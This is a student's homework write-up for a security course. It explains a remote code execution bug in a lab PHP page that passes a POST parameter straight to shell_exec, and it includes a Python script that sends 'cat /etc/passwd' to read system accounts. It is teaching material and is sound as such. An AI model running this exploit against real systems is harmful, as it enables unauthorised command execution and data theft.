TIC4304 Homework 3

- Name: Ke Yule
- Student Number: A0211495H E0493826
- Scripts Can be Found at: https://github.com/keyule/4304-hw3

View the markdown version for better formatting at: https://github.com/keyule/4304-hw3/blob/main/report.md

Case 1

Bug Category: Remote Code Execution

The logic of case01.php is:

1. Line 14: checks if cmd_url is set
2. Line 16: sets cmd_url to a virable called cmd
3. Line 19: runs shell_exec(cmd)
4. Line 20: Outputs the results

Exploit:
As we can see there is no sanitization of the cmd_url sent over a post request. We can just send any command we want and it will get executed.

Script: case01.py

```
import requests

url = 'http://www.wsb.com/Homework3/case01.php'

payload = {'cmd_url': 'cat /etc/passwd'}

response = requests.post(url, data=payload)

pre_start = response.text.find('<pre>')
pre_end = response.text.find('</pre>')

pre_text = response.text[pre_start+len('<pre>'):pre_end]

print(pre_text)
```